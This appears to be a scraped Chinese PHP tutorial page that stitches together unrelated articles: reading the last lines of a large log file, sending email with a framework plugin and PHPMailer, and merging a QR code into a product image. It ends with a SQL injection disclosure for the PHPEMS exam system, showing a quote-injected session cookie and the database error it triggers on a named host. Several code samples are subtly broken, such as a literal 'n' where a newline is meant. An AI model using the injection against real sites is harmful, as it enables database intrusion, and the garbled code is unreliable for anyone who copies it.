php读取超大文件实现例子

需求如下： 现有一个1G左右的日志文件,大约有500多万行， 用php返回最后几行的内容，如果我们使用常用的方法估计就直接卡死了，后看到一站长写了这文章整理了一下使用起来非常的不错。

实现方法:
1. 直接采用file函数来操作
注： 由于 file函数是一次性将所有内容读入内存，而php为了防止一些写的比较糟糕的程序占用太多的内存而导致系统内存不足，使服务器出现宕机，所以默认情况下 限制只能最大使用内存16M,这是通过php.ini里的memory_limit = 16M来进行设置，这个值如果设置-1，则内存使用量不受限制.
下面是一段用file来取出这具文件最后一行的代码.
整个代码执行完成耗时 116.9613 (s).

代码如下	复制代码
ini_set('memory_limit','-1'); $file = 'access.log'; $data = file($file); $line = $data[count($data)-1]; echo $line;

我机器是2个G的内存，当按下F5运行时，系统直接变灰，差不多20分钟后才恢复过来，可见将这么大的文件全部直接读入内存，后果是多少严重，所以不在万不得以，memory_limit这东西不能调得太高，否则只有打电话给机房，让reset机器了.
2.直接调用linux的tail命令来显示最后几行
在linux命令行下,可以直接使用tail -n 10 access.log很轻易的显示日志文件最后几行,可以直接用php来调用tail命令,执行php教程代码如下.
整个代码执行完成耗时 0.0034 (s)

代码如下	复制代码
file = 'access.log'; $file = escapeshellarg($file); // 对命令行参数进行安全转义 $line = `tail -n 1 $file`; echo $line;

 
3. 直接使用php的fseek来进行文件操作
这种方式是最为普遍的方式,它不需要将文件的内容全部读入内存,而是直接通过指针来操作,所以效率是相当高效的.在使用fseek来对文件进行操作时,也有多种不同的方法,效率可能也是略有差别的,下面是常用的两种方法.
方法一：
首先通过fseek找到文件的最后一位EOF，然后找最后一行的起始位置，取这一行的数据，再找次一行的起始位置，再取这一行的位置，依次类推，直到找到了$num行。
实现代码如下
整个代码执行完成耗时 0.0095 (s)

代码如下

复制代码

function tail($fp,$n,$base=5) {     assert($n>0);     $pos = $n+1;     $lines = array();     while(count($lines)< =$n){         try{             fseek($fp,-$pos,SEEK_END);         } catch (Exception $e){             fseek(0);             break;         }         $pos *= $base;         while(!feof($fp)){             array_unshift($lines,fgets($fp));         }     }     return array_slice($lines,0,$n); } var_dump(tail(fopen("access.log","r+"),10));

 
方法二 :
还是采用fseek的方式从文件最后开始读,但这时不是一位一位的读,而是一块一块的读,每读一块数据时,就将读取后的数据放在一个buf里,然后通过换行符(n)的个数来判断是否已经读完最后$num行数据.
实现代码如下
整个代码执行完成耗时 0.0009(s).
 

代码如下	复制代码
$fp = fopen($file, "r"); $line = 10; $pos = -2; $t = " "; $data = ""; while ($line > 0) {     while ($t != "n") {         fseek($fp, $pos, SEEK_END);         $t = fgetc($fp);         $pos --;     }     $t = " ";     $data .= fgets($fp);     $line --; } fclose ($fp); echo $data

 
方法三:
整个代码执行完成耗时 0.0003(s)

代码如下

复制代码

$fp = fopen($file, "r"); $num = 10; $chunk = 4096; $fs = sprintf("%u", filesize($file)); $max = (intval($fs) == PHP_INT_MAX) ? PHP_INT_MAX : filesize($file); for ($len = 0; $len < $max; $len += $chunk) {   $seekSize = ($max - $len > $chunk) ? $chunk : $max - $len;     fseek($fp, ($len + $seekSize) * -1, SEEK_END);     $readData = fread($fp, $seekSize) . $readData;       if (substr_count($readData, "n") >= $num + 1) {         preg_match("!(.*?n){".($num)."}$!", $readData, $match);         $data = $match[0];         break;     } } fclose($fp); echo $data;

其实这种发送邮件是非常的简单了我们只要接受由用户提交过来的邮箱地址然后再由php的邮件控制进行邮件发送了，下面看一个综合开发例子。

首先yyuc框架是支持发送email的

在yyuc/yyuc.php 上加上如下代码：

代码如下	复制代码
require_once(YYUC_LIB.'plugin/SendMail.php'); $sendMail = new SendMail();

二在wx conf.php 下配置下发送函数

代码如下	复制代码
public static $email = array( 'reg'=>array('protocol'=>'smtp','smtp_host'=>'smtp.qq.com','smtp_user'=>'','smtp_pass'=>'','from'=>array('','注册信息')), 'findpwd'=>array('protocol'=>'smtp','smtp_host'=>'smtp.qq.com','smtp_user'=>'','smtp_pass'=>'','from'=>array('','密码找回')) );

三 在相应的位置加上如下代码

代码如下

复制代码

// $wid=Session::get('wid');; $pubs=new Model('pubs'); $pubs->field('uid')->find(array('id'=>$wid)); $uid=$pubs->uid; $user=new Model('micro_car_yysj'); $user->field('noticeemailon,noticeemail')->find(array('uid'=>$uid)); $noticeemailon=$user->noticeemailon; $noticeemail=$user->noticeemail;  if($noticeemailon=="1"){  sendMail::normal_send("reg", $noticeemail, "您好，您在系统有有预约试驾的用户", "您好，您在系统有有预约试驾的用户，请登录系统查看" ,$toname = '');  } //

给客户做二维码防伪，他需要把二维码贴到产品上，然后下载二维码不能跟产品一一对应。 所以就有了这个功能要求。

将二维码与产品的id合并成一张图。。。
我的步骤是先把生成一张图，把产品的id放进去。。。然后再把二维码的图片与生成的图片合并。。。
说合并其实就是把二维码贴到生成的图上面。。。
具体代码如下

代码如下

复制代码

$width=310; //布画宽度 $height=360; //布画高度 $im = imagecreate($width,$height); $img2=imagecreatefrompng("$url");//获得二维码 $im_WH=getimagesize("$url");//取得二维码图片的属性 $im_W=$im_WH[0]; $im_H=$im_WH[1]; $white = ImageColorAllocate($im, 255,255,255);//定义白色  背景色 $black = ImageColorAllocate($im, 0,0,0);//定义黑色  字体颜色 $rectangelcolor=ImageColorAllocate($im,150,150,150);//定义边框颜色 imagerectangle($im,1,1,$width-1,$height-1,$rectangelcolor);//画边框 imagettftext($im,22,0,15,330,$black,'C:WINDOWSFontsarial.ttf',"$proid");//写入产品id imagecopy($im,$img2,5,5,0,0,$im_W,$im_H);//合并两张图 $images = mrand4B().time(). '.jpg';//图片新命名 $path = $_SERVER['DOCUMENT_ROOT'].'/static/downloadpic/'.$images;//图片路径 imagejpeg($im,$path);//生成新图放到指定的路径中 imagedestroy($im);//释放内存 return $images;//返回图片名，以便存入数据库

注意phpgd库默认是未开启了，我们如果没能使用gd库就需要开启，具体方法

我们需要在php.ini中把extension=php_gd2.dll 去掉前面的;就行了就行了。

在php中我们在linux服务器安装了邮件组件可以直接使用mail函数发送邮箱，对于windows系统我们多半使用PHPMailer实现邮件发送了，下面来看一个简单的例子。

使用PHPMailer类实现邮件的发送。

代码如下

复制代码

$phpmailer = new PHPMailer(); $phpmailer->IsSMTP();  // 用smtp协议来发   $phpmailer->Host = 'smtp.163.com'; $phpmailer->SMTPAuth = true; $phpmailer->Username = '******'; //163邮箱帐号 @163前面的那个 $phpmailer->Password = '******'; //密码   // 可以发信了   $phpmailer->From = '*****@163.com';   //邮箱地址 $phpmailer->FromName = 'yanjiadong'; $phpmailer->Subject = '欢迎你注册,你的激活邮件'; $phpmailer->Body = '请点击进行激活';   // 添加收件人 $phpmailer->AddAddress('********@qq.com','用户名');   // 发信   echo $phpmailer->send()?'ok':'fail';

注意phpmailer组件下载可以百度搜索一下。

PHPEMS（PHP Exam Management System）在线模拟考试系统基于PHP+Mysql开发，主要用于搭建模拟考试平台，支持多种题型和展现方式，是国内首款支持题冒题和自动评分与教师评分相结合的PHP开源在线模拟考试系统

使用本系统，您可以快速搭建用于模拟考试的网站平台，实现无纸化考试、真实考场模拟、知识强化练习等功能。可满足培训机构、学校、公司等机构各种考试需求。

代码如下

复制代码

public function __construct(&$G)     {         $this->G = $G;         if (ini_get('magic_quotes_gpc')) {             $get    = $this->stripSlashes($_REQUEST);             $post   = $this->stripSlashes($_POST);             $this->cookie = $this->stripSlashes($_COOKIE);         } else {             $get    = $_REQUEST;             $post   = $_POST;             $this->cookie = $_COOKIE;         }         $this->file = $_FILES;         $this->get = $this->initData($get);         $this->post = $this->initData($post);         $this->url = $this->parseUrl();     } ..........     //获取cookie     public function getCookie($par,$nohead = 0)     {         if(isset($this->cookie[CH.$par]))return $this->cookie[CH.$par];         elseif(isset($this->cookie[$par]) && $nohead)return $this->cookie[$par];         else return false;     }

如果用户开启了GPC，程序员还特意使用stripSlashes()给关掉。

代码如下

复制代码

public function getSessionId() {     $sessionid = $this->ev->getCookie('psid');     if(!$sessionid)     {         if($this->ev->getCookie('PHPSESSID',1))         {             $this->ev->setCookie('psid',$this->ev->getCookie('PHPSESSID',1),3600*24);             $sessionid = $this->ev->getCookie('PHPSESSID',1);         }         else         {             $sid = md5($this->ev->getClientIp().'/'.$_SERVER['HTTP_X_FORWARDED_FOR'].'/'.$_SERVER['REMOTE_ADDR'].':'.$_SERVER['REMOTE_PORT'].':'.$_SERVER['HTTP_USER_AGENT'].':'.date('Y-m-d'));             $this->ev->setCookie('psid',$sid,3600*24);             $sessionid = $sid;         }         $data = array('session',array('sessionid'=>$sessionid,'sessionuserid'=>0,'sessionip'=>$this->ev->getClientIp()));         $sql = $this->sql->makeReplace($data);         $this->db->exec($sql);     }     $this->sessionid = $sessionid;     return $this->sessionid; } 获得psid参数并起保存在$sessionid里 //修改考试会话内容 //参数：会话内容数组 //返回值：true public function modifyExamSession($args) {     $sessionid = $this->session->getSessionId();     $data = array('examsession',$args,"examsessionid = '{$sessionid}'");     $sql = $this->sql->makeUpdate($data);     $this->db->exec($sql);     return true; }

任意找了一个进入数据库的地方。
从上面过程看到，没有做任何过滤就进入数据库了。
Request:
POST /index.php?exam-app-basics-openit HTTP/1.1
Host: phpems.0day5.com
Proxy-Connection: keep-alive
Content-Length: 79
Origin: http://phpems.0day5.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Referer: http://phpems.0day5.com/index.php?exam-app-basics-detail&basicid=4
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: exam_psid=c6f1b7acd452e6d72a3ede0f501a9211'; exam_currentuser=%25B4%2585%258B%2585%25CE%25BE%258D%257C%2586%2585u%25BE%25B8%25BE%25C6%25B4%25C2%25B9%25C8%25BE%25B8%25BD%25BC%25AFu%2586%25C6%2585%2585%2585u%2581%258Bm%258E%25BE%258D%257C%2588%2585u%25BE%25B8%25BE%25C6%25B4%25C2%25B9%25C3%25AC%25C6%25BE%25CA%25BA%25C5%25AFu%2586%25C6%2585%2586%257D%258Dm%258C%2581%25B8%2582%258C%257D%2584%2583%258C%2581%2588%25B0%25B5%2582%2585%25AE%258C%257D%25B4%2580%2587%2584%25B7%25AF%2588%25AC%2586%257E%2583%257C%2584%257Du%2586%25C6%2585%258C%2585u%25BE%25B8%25BE%25C6%25B4%25C2%25B9%25BC%25BBu%2586%25C6%2585%258C%2585u%257C%2585%2582%2581%257B%2581%257B%2581%257Cu%2586%25C6%2585%2584%257F%258Dm%25C6%25B0%25C6%25BE%25BC%25BA%25C1%25B2%25C5%25BA%25C8%25BB%25BC%25AFu%2586%25C6%2585%2584%2585u%2583u%2586%25C6%2585%2584%2581%258Dm%25C6%25B0%25C6%25BE%25BC%25BA%25C1%25B7%25C2%25B2%25BC%25B9%25C7%25B4%25C0%25B0u%2586%25BC%2585%2584%257E%258B%2584%2588%257C%2589%2582%258B%257E%258E%25BE%258D%257C%2588%2585u%25BE%25B8%25BE%25C6%25B4%25C2%25B9%25C8%25BE%25B8%25BD%25C1%25AC%25C0%25B0u%2586%25C6%2585%2589%2585u%257C%2584%257C%2584%257C%2584m%258E%25BE%258D%257C%2589%2585u%25BE%25B8%25BE%25C6%25B4%25C2%25B9%25C7%25B4%25C0%25B0%25BF%25B4%25C0%25B4%25C7m%258E%25B4%258D%257C%2586%2583%258C%2580%2584%2581%258A%2583%2586%2586%25C6%2585%258C%2585u%25BE%25B8%25BE%25C6%25B4%25C2%25B9%25BC%25AFu%2586%25C6%2585%2586%257D%258Dm%25B6%2581%25B9%257C%25B5%2582%25B4%25AE%25B7%257F%2588%257D%25B8%2581%25B7%2582%2585%25AC%2586%25B0%25B7%25B0%2583%25B1%2588%257B%2584%25AC%258C%257D%2584%257Cu%2586%25D0; CNZZDATA5243664=cnzz_eid%3D2105242747-1389515449-%26ntime%3D1389515449%26cnzz_a%3D3%26sin%3Dnone%26ltime%3D1389515448225

Response:
HTTP/1.1 200 OK
Date: Sun, 12 Jan 2014 09:32:14 GMT
Server: Apache/2.4.7 (Win32) OpenSSL/0.9.8y PHP/5.4.22
X-Powered-By: PHP/5.4.22
P3P: CP=CAO PSA OUR
Content-Length: 606
Content-Type: text/html; charset=utf-8

ERRO:SELECT * FROM x2_session AS session WHERE sessionid = 'c6f1b7acd452e6d72a3ede0f501a9211'' LIMIT 0,100:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''c6f1b7acd452e6d72a3ede0f501a9211'' LIMIT 0,100' at line 1ERRO:UPDATE x2_session AS session SET `sessionlasttime` = '1389519134' WHERE sessionid = 'c6f1b7acd452e6d72a3ede0f501a9211'':You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''c6f1b7acd452e6d72a3ede0f501a9211''' at line 1
漏洞证明。